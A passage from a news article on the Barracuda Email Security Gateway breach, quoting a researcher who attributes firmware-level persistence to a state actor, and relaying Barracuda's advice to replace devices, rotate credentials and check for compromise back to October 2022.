“One of the goals of malware is to be hard to remove, and this suggests the malware compromised the firmware itself to make it really hard to remove and really stealthy,” Weaver said. “That’s not a ransomware actor, that’s a state actor. Why? Because a ransomware actor doesn’t care about that level of access. They don’t need it. If they’re going for data extortion, it’s more like a smash-and-grab. If they’re going for data ransoming, they’re encrypting the data itself — not the machines.”
In addition to replacing devices, Barracuda says ESG customers should also rotate any credentials connected to the appliance(s), and check for signs of compromise dating back to at least October 2022 using the network and endpoint indicators the company has released publicly.
Update, June 9, 11:55 a.m. ET: Barracuda has issued an updated statement about the incident, portions of which are now excerpted above.
